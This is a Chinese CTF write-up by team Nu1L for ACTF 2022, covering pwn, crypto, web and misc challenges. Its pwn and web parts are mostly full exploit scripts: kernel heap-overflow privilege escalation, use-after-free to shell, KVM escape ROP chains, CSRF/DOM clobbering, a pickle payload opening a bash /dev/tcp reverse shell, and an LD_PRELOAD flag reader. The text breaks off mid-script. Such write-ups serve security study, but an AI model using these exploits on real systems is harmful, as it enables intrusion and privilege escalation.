ACTF WriteUp By Nu1L

Pwn

kkk

通过ROP打通parser执行shellcode, 然后把提权的exp编码后发送过去执行

kkk.ko漏洞出现在加密时以block为单位进行加密, 没考虑不对其的情况, 造成堆溢出.

提权的话将packet对象伪造成init_cred, 然后设置packet→func_ptr = commit_creds然后触发就可以提权, 不用关心切回用户态的问题

但是怎么泄露内核地址呢? 越界读只能泄露kkk.ko的地址, 也没法ROP, 想了很久, 最终解决方法是: 爆破. 因为内核基地址的熵很小, 只有24bit, 而且实测发现大多数情况都是0x1F800000, 0x21100000这样比较小的数字, 因此爆破花不了多长时间的.

```
#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *
import base64

context.log_level = 'debug'
context(arch='amd64', os='linux')

```

```python
def Log(name):
    log.success(name+' = '+hex(eval(name)))


def Connect():
    if(len(sys.argv)==1):     #local
        cmd = ["./launch.sh", "1"]
        sh = process(cmd)
    else:           #remtoe
        sh = remote("123.60.41.85", 9999)
        sh.recvuntil('`')
        cmd = sh.recvuntil('`', drop=True)
        print(cmd)
        stamp = os.popen(cmd).read()
        print(stamp)
        sh.send(stamp)
    return sh

sh = Connect()

def Send(cont):
    sh.send(base64.b64encode(cont))

def GDB():
    gdb.attach(sh, '''
    #break *(0x401C0B)
    #break *(0x401CF3)
    break *(0x401D41)
    conti
    ''')

#get pure asm of exp
os.system("gcc -c exp.c -O2 -o exp.o")
os.system("llvm-objcopy-9 --dump-section .text.startup=out ./exp.o")
file = open("out","rb")
code = file.read()
file.close()



rdi = 0x4006a6  # pop rdi; ret;
rsi = 0x402a3c  # pop rsi; ret;
rdx = 0x434162  # pop rdx; ret;
rax = 0x4005af  # pop rax; ret;
syscall = 0x4859c5 # syscall; ret;
ret = 0x400416 # ret;
read_through_base64 = 0x401ABB

def Call(sys, a, b, c):
    rop = flat(rdi, a)
    rop+= flat(rsi, b)
    rop+= flat(rdx, c)
    rop+= flat(rax, sys)
    rop+= flat(syscall)
    return rop

buf = 0x6D8000

while True:
    try:
        def Try():
            for i in range(15):
                sh.recvuntil('ENTER YOUR PACKET > ')
                sh.send('\n')


            # header
            exp = p32(0x0) + p32(0x1)
            exp+= p64(0)
            exp+= p32(0x876) + p32(0)
            exp = exp.ljust(0x30, 'A')
            Send(exp)

            #Segs
            exp = p32(7) + p32(0x0)
            Send(exp)

            #Seg
            for i in range(6):
                exp = p32(0xdeadbeef) + p32(0x100)
                Send(exp)
                Send(chr(i)*0x100)

            #Seg
            exp = p32(0xdeadbeef)+p32(0xFFFFFF00)
            Send(exp)

            #ROP to read asm of exp by base64
            exp = 'A'*0x218
            exp+= p64(ret)*0x10
            exp+= Call(0xa, buf, 0x8000, 7) # mprotect(buf, 0x8000, 7)
            exp+= flat(rdi, buf, rsi, len(code)+1, read_through_base64)
            exp+= flat(buf)
            Send(exp)
            sh.send('\n')

            #Send asm of exp
            Send(code)
            sh.send('\n')
            res = sh.recvuntil('ACTF', timeout = 2)
            if 'ACTF' in res:
                print(res)
                return True
            return False

        while True:
            if(Try()):
                break

        sh.interactive()
    except EOFError:
        sh = Connect()
```

```
static __inline long syscall(long n, long a1, long a2, long a3)
{
  unsigned long ret;
  long a4 = 0;
  register long r10 __asm__("r10") = a4;
  __asm__ __volatile__ (
    "syscall"
    :"=a"(ret)
    : "a"(n), "D"(a1), "S"(a2),
      "d"(a3), "r"(r10)
    : "rcx", "r11", "memory");
  return ret;
}

static __inline int read(int fd, char *buf, int len){
    return syscall(0, fd, buf, len);
}

static __inline int write(int fd, char *buf, int len){
    return syscall(1, fd, buf, len);
}

static __inline int open(char *buf, int mode){
    return syscall(2, buf, mode, 0);
}

static __inline int ioctl(int fd, int cmd, void *arg){
    return syscall(0x10, fd, cmd, arg);
}

struct Param{
    long long opcode;
    long long key_len;
    char *key_buf;
```

```c
    long long cont_len;
    char *cont_buf;
};

static __inline void Send(int fd, struct Param *p){
    ioctl(fd, 0x6B64, p);
}

static __inline void Show(int fd, struct Param *p){
    ioctl(fd, 0x6B69, p);
}

static __inline void Run(int fd, struct Param *p){
    ioctl(fd, 0x6B6B, p);
}

static __inline void Delete(int fd, struct Param *p){
    ioctl(fd, 0x6B6D, p);
}

static __inline void Update(int fd, struct Param *p){
    ioctl(fd, 0x6B67, p);
}

static __inline memset(char *dst, char c, int len){
    while(len--)
        *dst++ = c;
}

int main(void)
{
    char path[0x10] = "/dev/kkk";
    char buf[0x200];
    char sp[0x20]="================";

    memset(buf, 0, 0x200);
    unsigned long long *ptr = buf;
    struct Param p;

    int fd = open(path, 0);

    // obj0->arr[0] = malloc(0x88)
    p.opcode=0x3;
    p.key_len = 0x71;   //  0xc0-0x30-0x1F
    p.key_buf = buf;
    p.cont_len = 0x1F;
    p.cont_buf = buf+0x80;
    buf[0x0] = 0x41;
    Send(fd, &p);   // packet0
    Send(fd, &p);   // packet1
    Send(fd, &p);   // packet2
    Send(fd, &p);   // packet3
    Send(fd, &p);   // packet4
    Send(fd, &p);   // packet5

    // trigger overflow: packet1->key_len = 0xd8
    p.opcode = 0;
    Run(fd, &p);

    // leak kaslr
    p.opcode = 1;
    p.key_buf = buf;
    p.cont_buf = buf+0x100;
    Show(fd, &p);

    /*
    long long kaslr = ptr[23]-0xffffffffc0000130;  //kkk_aes256_cb()
    write(1, &sp, 8);
    write(1, &kaslr, 8);*/
    unsigned long long heap = ptr[21];
    //write(1, &sp, 8);
    //write(1, &heap, 8);

    // control packet2->key_len
    p.opcode = 1;
    ptr[18] = 0x140; //packet2->key_len
    ptr[20] = 0;     //packet2->cont_len
    p.key_buf = buf;
    p.cont_buf = buf+0x100;
    Update(fd, &p);

    //0xffffffff82850560 D init_cred
    //0xffffffff8109bcf0 T commit_creds

    // prepare packet3
    ptr[18] = 0x4;   //<=packet3, forge init_cred here
    ptr[18+1] = 0;
    ptr[18+2] = 0;
    ptr[18+3] = 0;
    ptr[18+4] = 0;
    ptr[18+5] = 0x19800000+0xffffffff8109bcf0;    //packet3->func_ptr = commit_creds(), guess
    ptr[18+6] = 0x0;
    ptr[18+7] = 0x0;
    ptr[18+8] = 0x0;
    ptr[18+15] = heap;
    ptr[18+16] = 0;//kaslr+0xffffffff8284ef80;
    ptr[18+17] = 0;//kaslr+0xffffffff8284f020;
    ptr[18+18] = 0;//kaslr+0xffffffff82850e20;
    ptr[18+19] = 0;//kaslr+0xffffffff82850610;

    // control packet3
    p.opcode = 2;
    p.key_buf = buf;
    p.cont_buf = buf;
    Update(fd, &p);

    // trigger packet3->func_ptr()
    write(1, &sp, 0x10);
    p.opcode = 3;
    Run(fd, &p);

    char buf2[0x100] = "/flag\\x00";
    int fd2 = open(buf2, 0);
    read(fd2, buf2, 0x100);
    write(1, buf2, 0x100);

    if(buf2[0]=='A')
        while(1);
    return 0;
}
/*
0xffffffff82fd7366 : mov rdi, qword ptr [rdi + 0x10] ; mov rax, qword ptr [rbx] ; call
rax

*/
```

TreePwn

漏洞: 矩形判断算法有问题, 导致一个ele可以插入多个子树

相关数据结构, 其中

总体如下, 实现了一个会自己分裂平衡的树

漏洞出现在插入Element的过程中,

- 插入时, 会把一个子树中最左下角的点与最右上角的点组成一个矩形, 调用`get_min_MBR_added()`计算出, 把这个点插入子树的点集中后, 子树的矩形的周长最小变化是多少, 这个值就是`min_MBR_added`
- 然后遍历root中的所有子树, 如果发现ele插入该子树后周长变化等于`min_MBR_added`则调用`tree_insert_node()`进行插入

上述算法过程十分的诡异, 最大的问题在于插入一个子树后没有及时停止, 导致double link. 只要构造两个子树, 再插入一个点使得两个子树周长变化相同就可以触发

在树重构时是会按照x与y的大小排序, 为了简单, 可以把所有的y都设置为0

POC如下

```
# [0, 1] [3, 4, 5, 6]
Insert(0, 0, '0'*0x20)
Insert(1, 0, '1'*0x20)
Insert(3, 0, '3'*0x20)
Insert(4, 0, '4'*0x20)
Insert(5, 0, '5'*0x20)
Insert(6, 0, '6'*0x20)

# [0, 1] [3, 4]
Remove(5, 0)
Remove(6, 0)

# double link: [0, 1, 2] [2, 3, 4]
Insert(2, 0, '2'*0x20)
```

之后通过UAF泄露堆地址,

```
# UAF: [0, 1] [2, 3, 4], Element 2 is freed
Remove(2, 0)

# leak heap addr
Show(2, 0)
sh.recvuntil('its name: ')
sh.recv(8)
heap_addr = u64(sh.recv(8)) - 0x10
Log("heap_addr")
```

有Edit功能, 因此控制tcache是很容易的, 但是本题只有0x26的对象可控, 因此要泄露libc地址就只能伪造UBchunk了

可以通过UAF劫持tcache, 使其分配到Element0内部, 实现chunk重叠, 将Element当做是UBchunk头部, 从而在释放新分配的对象后读Element0就可以泄露UB地址

在插入时会首先读入Element对象, 如果插入时发现点有重复, 则什么也不做, 这是一个很好的堆喷原语, 利用这个来伪造Ub chunk后面的数据

```
#! /usr/bin/python2
# coding=utf-8
import sys
from pwn import *

context.log_level = 'debug'
context(arch='amd64', os='linux')

def Log(name):
    log.success(name+' = '+hex(eval(name)))
```

```
libc = ELF('./libc.so.6')

if(len(sys.argv)==1):      #local
    cmd = ["./pwn"]
    sh = process(cmd)
else:            #remtoe
    sh = remote("121.36.241.104", 9999)
    sh.recvuntil('`')
    cmd = sh.recvuntil('`', drop=True)
    print(cmd)
    stamp = os.popen(cmd).read()
    print(stamp)
    sh.send(stamp)

def Num(n):
    sh.sendline(str(n))

def Cmd(n):
    sh.recvuntil("Your choice > ")
    Num(n)

def Insert(x, y, cont):
    Cmd(0)
    sh.recvuntil(": ")
    Num(x)
    sh.recvuntil(": ")
    Num(y)
    sh.recvuntil(": ")
    sh.send(cont)

def Remove(x, y):
    Cmd(1)
    sh.recvuntil(": ")
    Num(x)
    sh.recvuntil(": ")
    Num(y)

def Edit(x, y, cont):
    Cmd(2)
    sh.recvuntil(": ")
    Num(x)
    sh.recvuntil(": ")
    Num(y)
    sh.recvuntil(": ")
    sh.send(cont)

def Show(x, y):
    Cmd(3)
    sh.recvuntil(": ")
    Num(x)
    sh.recvuntil(": ")
    Num(y)

def Query(ld_x, ld_y, ru_x, ru_y):
    Cmd(4)
    sh.recvuntil(": ")
    Num(ld_x)
    sh.recvuntil(": ")
    Num(ld_y)
    sh.recvuntil(": ")
    Num(ru_x)
    sh.recvuntil(": ")
    Num(ru_y)

def GDB():
    gdb.attach(sh, '''
    print *(long long *)(0x0000555555554000+0x205310)
    print *(long long *)($1+0x10)
    telescope $2 8
    break *(0x0000555555554000+0x344E)
    ''')

# [0, 1] [2, 3, 4, 5]
exp = p64(0)
exp+= p64(0x4b1)    # chunk's size
exp = exp.ljust(0x20, '\\x00')
Insert(0, 0, exp)   # UB chunk head
Insert(1, 0, '1'*0x20)
Insert(2, 0, '2'*0x20)
Insert(3, 0, '3'*0x20)
Insert(4, 0, '4'*0x20)
Insert(5, 0, '5'*0x20)

# heap spray
for i in range(0x11):
    Insert(0, 0, p8(i)*0x20)

# [0, 1] [3, 4], tcache[0x30]->ele_2->ele_5
Remove(5, 0)
Remove(2, 0)

# double link: [0, 1, 2] [2, 3, 4], tcache[0x30]->ele_5
Insert(2, 0, '2'*0x20)

# UAF: [0, 1] [2, 3, 4], tcache[0x30]->ele_2->ele_5
Remove(2, 0)
```

```
# leak heap addr
Show(2, 0)
sh.recvuntil('its name: ')
sh.recv(8)
heap_addr = u64(sh.recv(8)) - 0x10
Log("heap_addr")

# control tcache: Tcache[0x30]->ele_2->UB_chunk
exp = p64(heap_addr+0x2d0+0x10)
exp = exp.ljust(0x20, '\\x00')
Edit(2, 0, exp)

# allocate to UB_chunk: [0, 1] [2, 3, 4, 6]
Insert(2, 0, '2'*0x20)
exp = flat(0, 0, 0, 0x31)
Insert(6, 0, exp)

# free UB_chunk and get libc addr: [0, 1] [2, 3, 4]
Remove(6, 0)
Show(0, 0)
sh.recvuntil('its name: ')
sh.recv(0x10)
libc.address = u64(sh.recv(8))-0x3ebca0
Log("libc.address")

# trigger double link again: [0, 1, 2] [2, 3, 4]
Remove(2, 0)
Insert(2, 0, '2'*0x20)

# UAF: [0, 1] [2, 3, 4] Tcache[0x30]->ele_2
Remove(2, 0)

# Tcache[0x30]->ele_2->__free_hook
exp = flat(libc.symbols['__free_hook'], 0, 0, 0)
Edit(2, 0, exp)

# allocate to __free_hook
exp = flat(libc.symbols['system'], 0, 0, 0)
Insert(0, 0, exp)
Insert(0, 0, exp)

# getshell
Edit(0, 0, "/bin/sh".ljust(0x20, '\\x00'))
Remove(0, 0)

#GDB()

sh.interactive()
```

MyKvm

和这个很像

https://github.com/kscieslinski/CTF/tree/master/pwn/conf2020/kvm

参考这个还原下伪代码

https://github.com/kscieslinski/CTF/blob/master/pwn/conf2020/kvm/kvm_source.c

```
from pwn import *
import fuckpy3
import struct, sys, os

context.log_level = 'debug'
context.arch = 'amd64'

# p = process('./lib/ld-2.23.so ./mykvm'.split(' '),env=
{'LD_LIBRARY_PATH':'./lib'})#,"LD_PRELOAD":"./lib/ld-2.23.so ./lib/libc.so.6
./lib/libreadline.so.6.3 ./lib/libtinfo.so.5.9"})
p = remote('20.247.110.192',10888)

# p = remote('0',8888)
def launch_gdb():
    input()

def nasm(code):
  open("/tmp/shellcode.asm", 'w').write(code)
  ret = os.system("nasm -f bin -o /tmp/shellcode.bin /tmp/shellcode.asm")

  code = b''
  if ret == 0:
    code = open("/tmp/shellcode.bin", 'rb').read()

  os.unlink("/tmp/shellcode.asm")
  os.unlink("/tmp/shellcode.bin")
  return code

def format_rop(payload):
    res = ''
    for i in range(0,len(payload),4):
        res += f'dd {hex(u32(payload[i:i+4]))}\n'
    return res
payload = p64(0x4011B3) + p64(0x602088)
payload += p64(0x4009C6)
payload += p64(0x4011AA)
payload += p64(0x0) + p64(1) + p64(0x602060) + p64(0x100) + p64(0x602100) + p64(0)
payload += p64(0x401190)
payload += p64(0) * 2 + p64(0x602100) + p64(0) * 4 + p64(0x401145)
```

```
shellcode = '''
BITS 16
ORG 0h

GDT_FLAGS_32_BIT_SIZE      equ 01b
GDT_FLAGS_16_BIT_SIZE      equ 00b
GDT_FLAGS_BYTE_GRANULARITY equ 00b
GDT_FLAGS_PAGE_GRANULARITY equ 10b
GDT_ACCESS_ACCESSED         equ 00000001b
GDT_ACCESS_NOT_ACCESSED     equ 00000000b
GDT_ACCESS_RW               equ 00000010b
GDT_ACCESS_GROW_DOWN        equ 00000100b
GDT_ACCESS_EXECUTABLE       equ 00001000b
GDT_ACCESS_DEFAULT_BIT      equ 00010000b
GDT_ACCESS_RING_LEVEL_0     equ 00000000b
GDT_ACCESS_RING_LEVEL_1     equ 00100000b
GDT_ACCESS_RING_LEVEL_2     equ 01000000b
GDT_ACCESS_RING_LEVEL_3   equ 01100000b
GDT_ACCESS_PRESENT      equ 10000000b
GDT_CODE_ACCESS_BYTE       equ GDT_ACCESS_DEFAULT_BIT | GDT_ACCESS_PRESENT |
GDT_ACCESS_RING_LEVEL_0 | GDT_ACCESS_EXECUTABLE | GDT_ACCESS_RW
GDT_DATA_ACCESS_BYTE       equ GDT_ACCESS_DEFAULT_BIT | GDT_ACCESS_PRESENT |
GDT_ACCESS_RING_LEVEL_0 | GDT_ACCESS_RW
GDT_CODE_FLAGS                  equ GDT_FLAGS_32_BIT_SIZE  | GDT_FLAGS_PAGE_GRANULARITY
GDT_DATA_FLAGS                  equ GDT_FLAGS_32_BIT_SIZE  | GDT_FLAGS_PAGE_GRANULARITY
GDT_BASE equ 0x4000
jmp start
nop
nop
nop
nop
nop
{0}

start:
xor ax, ax
mov ds, ax

; enable serial
mov al, 0x41
mov dx, 0x3f8
out dx, al
; setup gdt
mov bx, GDT_BASE + 8
mov word [bx], 0xffff
;mov word [bx+2], 0
;mov byte [bx+4], 0
mov byte [bx+5], GDT_CODE_ACCESS_BYTE
mov byte [bx+6], (GDT_CODE_FLAGS << 6) | 0xF
;mov byte [bx+7], 0
add bx, 8
mov word [bx], 0xffff
;mov word [bx+2], 0
;mov byte [bx+4], 0
mov byte [bx+5], GDT_DATA_ACCESS_BYTE
mov byte [bx+6], (GDT_DATA_FLAGS << 6) | 0xF
;mov byte [bx+7], 0

cli
xor ax, ax
mov ds, ax

lgdt [gdt_descriptor]
mov eax, cr0
or eax, 0x1
mov cr0, eax

jmp 08:protected_mode

BITS 32

protected_mode:
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax

mov ecx,[0x7100]
;add ecx,70432
xor eax, eax
sub ecx,0x603000
loop:
add ecx,4
add eax,4
cmp eax,100000
jz end
cmp dword [ecx],0x61616161
jnz loop
mov dword [ecx],0xdeadbeef
mov dword [ecx + 4],0xdeadbeef
mov dword [ecx + 8],0x4011AC ;0x4011AC
mov dword [ecx + 12],0
jmp loop
end:

mov dword [0x7100],0x602020
mov dword [0x7104],0
```

```
hlt

ALIGN 16

gdt_descriptor:
  dw 2048
    dd GDT_BASE
'''.format(format_rop(payload))
payload = nasm(shellcode)

p.sendlineafter(b'your code size: ',f'{len(payload)}')
p.sendafter(b'your code: ',payload)
input()
p.sendlineafter(b'guest name: ','a' * 7)
p.sendlineafter(b'guest passwd: ','a' * 7)

p.sendlineafter(b'host name: ','a' * 7)
p.recvline()
sleep(5)
leak = u64(p.recv(6) + b'\x00\x00') - 1012016
log.info('leak addr ' + hex(leak))
sys_addr = 283552 + leak
binsh = 0x18CE57 + leak
rebase_0 = lambda x : p64(x + leak)
rop2 = p64(0x4011B4) * 2 + p64(0x4011B3) + p64(binsh)
rop2 += rebase_0(0x00000000000202f8) # 0x00000000000202f8: pop rsi; ret;
rop2 += p64(0)
rop2 += rebase_0(0x0000000000001b92) # 0x0000000000001b92: pop rdx; ret;
rop2 += p64(0)
rop2 += rebase_0(0x000000000003a738) # 0x000000000003a738: pop rax; ret;
rop2 += p64(0x000000000000003b)
rop2 += rebase_0(0x00000000000bc3f5) # 0x00000000000bc3f5: syscall; ret;
p.send(rop2)
p.interactive()
```

Crypto

RSA LEAK

论文：8.pdf (upm.edu.my)

```
# from pwn import *
import requests
import json
import os
import gmpy2
from pwnlib.tubes.tube import *
```

```python
from hashlib import *
from Crypto.Util.number import *
from tqdm import tqdm, trange
import random
import math
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from factordb.factordb import FactorDB
from sage.modules.free_module_integer import IntegerLattice
import itertools
from fastecdsa.curve import Curve
from random import getrandbits, shuffle

# r = remote('121.40.89.206', '21106')
# # context(log_level='debug')
# ALPHABET = string.ascii_letters + string.digits

# rec = r.recvline().decode()
# print(rec)
# suffix = rec[rec.find('+')+1:rec.find(')')][1:].strip()
# digest = rec[rec.find('==')+3:-1].strip()
# print(f"suffix: {suffix} \ndigest: {digest}")

# for i in itertools.product(ALPHABET, repeat=4):
#     prefix = ''.join(i)
#     guess = prefix + suffix
#     if sha256(guess.encode()).hexdigest() == digest:
#         # log.info(f"Find XXXX: {prefix}")
#         print((f"Find XXXX: {prefix}"))
#         break
# r.sendline(prefix.encode())

# def resultant(p1, p2, var):
#     p1 = p1.change_ring(QQ)
#     p2 = p2.change_ring(QQ)
#     var = var.change_ring(QQ)
#     r = p1.resultant(p2, var)
#     return r.change_ring(F)

N =
318357383676969931376304372251348650316053308947071634848764911345082883022415182410605
056286864029171243328367979985589030694556243057213712826931894445304182547615491367684
965859964211389652529179852553372280511604167546267573299588167135959360258475130460224
441514985934687534036174077546362346750318682438578085192013636859372553577985472616868
717905130385179711123945126418327654461673682029805406323264135977512875307134047471472
053485829566042627835663074375824742291651968736242611444366098977451975123459181954712
928871986304197282440587221220811809357718465944655201708653100234066350921550186621229
4702743
e = 65537
```

```
c =
484339480787082665584089008221318468394734723504052749582545662910171378795428062384594
564009583493152454474865096337492767460537868683151635834430302896079804490762672954832
480681225532378026680455881061936921029019363552776934498676083798992542005902524419866
456435118382338038282044506220239933631402465836503229520608608678010816872882332557763
807906533616951259715964488627441650070078400332701027565360565010590985239909912603521
236913493937251580289311742180919739194570783502579783382940998496905143282738294743241
455691403865844290428843364597894997056726334750102344031328936298562849823202491199748
72840

# ln, l = 1221462496591107991966781770806577799971,
9084636844347907969122782431509228806 5

# lp = 1364845161865798071 1
# lq = ln // lp
# lphi = (lp-1) * (lq-1)
# ld = inverse(e, lphi)
# l -= 0xdeadbeef
# for x in tqdm(range(1, 1<<24)):
#     if x == 13871617:
#         print('??')
#     t = pow(x, e, ln)
#     ll = (l - t) % ln
#     rq = Integer(pow(ll, ld, ln))
#     if rq.nbits() in range(23, 25):
#         print(x, rq)
#         break

rq, rp = 405771, 11974933
# rp, rq = rq, rp
expo = 4

from tqdm import tqdm
start = ceil((rp * rq)^0.5)
# start = 1
bound = floor(rq/2 + 2^(expo/2 - 1)*rp + 1)
for i in tqdm(range(start, bound)):
    sigma = (isqrt(N) - i)^2
    z = (N - rp*rq) % sigma
    delta = z^2 - 4*sigma*rp*rq
    if delta < 0:
        continue
    if isqrt(delta)**2 == delta:
        x1 = (z + int(isqrt(delta))) / 2
        print(f'x1 = {x1}')
        assert x1^2 - z*x1 + sigma*rp*rq == 0
        prob_p = int(N // ((x1 // rp) + rq))
        print(prob_p)
        if N % int(prob_p) == 0:
            p = prob_p
            q = N // prob_p
            break
        x2 = (z - int(isqrt(delta))) / 2
        print(f'x2 = {x2}')
        assert x2^2 - z*x2 + sigma*rp*rq == 0
        prob_p = int(N // ((x2 // rq) + rp))
        if N % prob_p == 0:
            p = prob_p
            q = N // prob_p
            break

phi = (p-1) * (q-1)
d = inverse(e, phi)
print(long_to_bytes(int(pow(c, d, N))))
```

impossible RSA

```
from pwn import *
import requests
import json
import os
import gmpy2
from pwnlib.tubes.tube import *
from hashlib import *
from Crypto.Util.number import *
from tqdm import tqdm, trange
import random
import math
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from factordb.factordb import FactorDB
from sage.modules.free_module_integer import IntegerLattice
import itertools
from fastecdsa.curve import Curve
from random import getrandbits, shuffle

# r = remote('121.40.89.206', '21106')
# # context(log_level='debug')
# ALPHABET = string.ascii_letters + string.digits

# rec = r.recvline().decode()
# print(rec)
# suffix = rec[rec.find('+')+1:rec.find(')')][1:].strip()
# digest = rec[rec.find('==')+3:-1].strip()
# print(f"suffix: {suffix} \ndigest: {digest}")

# for i in itertools.product(ALPHABET, repeat=4):
```

```
#     prefix = ''.join(i)
#     guess = prefix + suffix
#     if sha256(guess.encode()).hexdigest() == digest:
#         # log.info(f"Find XXXX: {prefix}")
#         print((f"Find XXXX: {prefix}"))
#         break
# r.sendline(prefix.encode())


n =
1598757613934188878864886300053441764030061031040066728509595152520814568936459911902307
7141403690106074666779032297845208215668024531596702782623772060891509310955200103366086
6780850830756953148409010942931936942235219278212610781888971713395192361607794388465198
8962234543550542870880779908126755172423905256914792174634223228062153350126311514884473
3690042271230593726622880953354913434960721240085109200528186529685099146937557881561523
3503085704762095053653472959135923629024961037140630079110744209879612889591869753459086
6545942143939836181859192421160765174797067984926246789477401261733535288774547550915557
75074809
e = 65537
N = e*n
# P.<x> = PolynomialRing(ZZ)
# for i in tqdm(range(e)):
#     f = x*(i*x-1) - N
#     res = f.roots()
#     for root, _ in res:
#         root = root % n
#         if gcd(root, n) != 1:
#             print(root)
root =
1598757613934188878864886300053441764030061031040066728509595152520814568936459911902307
7141403690106074666779032297845208215668024531596702782623772060891509310955200103366086
6780850830756953148409010942931936942235219278212610781888971713395192361607794388465198
8962234543550542870880779908126755172423905256899745590549464428453959871059546353849699
9439599131051017479476100874767296203190194340769834831531409003013890180824720652000855
2178375035127011168490129224564266736421531306784253711055873008618243596136716325470011
1116885737473630379091284880970593381594613053786598323421673364180949375984747088975025
55306696
p =
1504658408475879960819347906676516103477425044314017957624714678007858761723177052689931
1527436899677752667120896611283722956066828524820124939393680446003667949695538280790646
6220470800515690901778852997819812091208542905640646620580276790754019017179320245493113
39648466055727897552585912789800461940531976811
q = n // p
phi = (p-1) * (q-1)
d = inverse(e, phi)
with open('/mnt/f/ctf/train/8f7eedbd3bb9441e892c5cde9435c4ec/flag', 'rb') as f:
    c = bytes_to_long(f.read())
print(long_to_bytes(int(pow(c, d, n))))
```

Web

poorui

直接登录成admin，发送getflag就getflag了

```
connect ws://124.71.181.238:8081

{"api":"login","username":"admin"}
{"api":"getflag","to":"flagbot"}

ACTF{s0rry_for_4he_po0r_front3nd_ui_:)_4FB89F0AAD0A}
```

beWhatYouWannaBe

前16字节可通过csrf获取(让admin给自己赋予admin) csrf token可预测

后16字节可以使用这个获取 （https://portswigger.net/research/dom-clobbering-strikes-back）

```html
<html>

<iframe name=fff srcdoc="
<iframe srcdoc='<input id=aaa name=ggg href=cid:Clobbered value=this_is_what_i_want>test</input><a id=aaa>' name=lll>"></iframe>

</html>
```

```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form id="form" action="<http://localhost:8000/beAdmin>" method="post">
        <input name="username" value="crane123">
        <input id="csrftoken" name="csrftoken" value="">
    </form>
    <iframe name=fff srcdoc="<iframe srcdoc='<input id=aaa name=ggg href=cid:Clobbered value=this_is_what_i_want>test</input><a id=aaa>' name=lll>"></iframe>
    <script src="crypto-js.min.js"></script>
    <script>
        csrftoken.value = CryptoJS.SHA256(Math.sin(Math.floor(Date.now() / 1000)).toString()).toString(CryptoJS.enc.Hex);
        form.submit()
    </script>
</body>
</html>
```

ToLeSion

使用ftps TLS ssrf攻击 memcached，注入一个python序列化数据，然后rce

https://zhuanlan.zhihu.com/p/373864799 （FTPS tls攻击方法）

```python
import socketserver,threading,time,base64,sys,os
import redis
import pickle

class RCE:
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/server-ip/port 0>&1'"
        return os.system, (cmd,)

pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))

os.system('redis-server > /dev/null 2>&1 &')
time.sleep(2)

r = redis.Redis(host='127.0.0.1', port=6379, db=0)
data_len = str(len(pickled)).encode()
payload = b"\r\nset actfSession:112233 0 0 " + data_len + b"\r\n" + pickled + b"\r\n"
print('payload len: ', len(payload), file=sys.stderr)
# assert len(payload) <= 32 好像超了也没事儿
r.set('payload', payload)

# https://github.com/jmdx/TLS-poison modified for accepting 32 bytes injections
os.system(f'nohup ./custom-tls -p 8888 --certs ./fullchain.pem --key ./privkey.pem forward 2048 --verbose >run.log 2>&1 &')

class MyTCPHandler(socketserver.StreamRequestHandler):
    def handle(self):
        print('[+] connected', self.request, file=sys.stderr)
        self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr,flush=True)
        self.request.sendall(b'230 Login successful.\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'200 yolo\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'200 yolo\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'257 "/" is the current directory\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'200 Switching to Binary mode.\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'125 Data connection already open. Transfer
starting.\r\n')

        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        # 226 Transfer complete.
        self.request.sendall(b'250 Requested file action okay, completed.')
        exit()


def ftp_worker():
    with socketserver.TCPServer(('0.0.0.0', 2048), MyTCPHandler) as server:
        while True:
            server.handle_request()

ftp_worker()
# print(sess.get(url, params={'url': target}).text, file=sys.stderr)
```

gogogo

LD_PRELOAD

```
&& make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\\"/tmp\\"'" \\
```

https://tttang.com/archive/1399/

```c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
        FILE *fp = NULL;
        char buff[255];
        fp = fopen("/flag", "r");
        fscanf(fp, "%s", buff);
        write(1, buff, strlen(buff));
}
gcc -s -shared -fPIC rabbit.c -o rabbit.so
curl -v -F data=@rabbit.so -F "LD_PRELOAD=/proc/self/fd/7"
<http://123.60.84.229:10218/cgi-bin/hello> --proxy "<http://192.168.233.1:8088>"
```

加脏字符 改Content-Length Intruder爆破fd

ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}

Misc

signin

```python
import bz2
import lzma
import gzip
import zstandard as zstd
import py7zr
while 1:
    with open('flag', 'rb') as f:
        header_bytes = f.read(4)
    if header_bytes == b'BZh9':
        # decompress the flag
        with bz2.open('flag', 'rb') as f:
            flag_bytes = f.read()
        with open('flag', 'wb') as f:
            f.write(flag_bytes)
    elif header_bytes == b']\\x00\\x00\\x80':
        # decompress the flag lzma
        with lzma.open('flag', 'rb') as f:
            flag_bytes = f.read()
        with open('flag', 'wb') as f:
            f.write(flag_bytes)
    elif header_bytes == b'\\x1f\\x8b\\x08\\x08':
        # decompress the flag gzip
        with gzip.open('flag', 'rb') as f:
            flag_bytes = f.read()
        with open('flag', 'wb') as f:
            f.write(flag_bytes)
    elif header_bytes == b'\\x28\\xb5\\x2f\\xfd':
        # decompress the flag zstandard
        with zstd.ZstdDecompressor().stream_reader(open('flag','rb')) as f:
            flag_bytes = f.read()
        with open('flag', 'wb') as f:
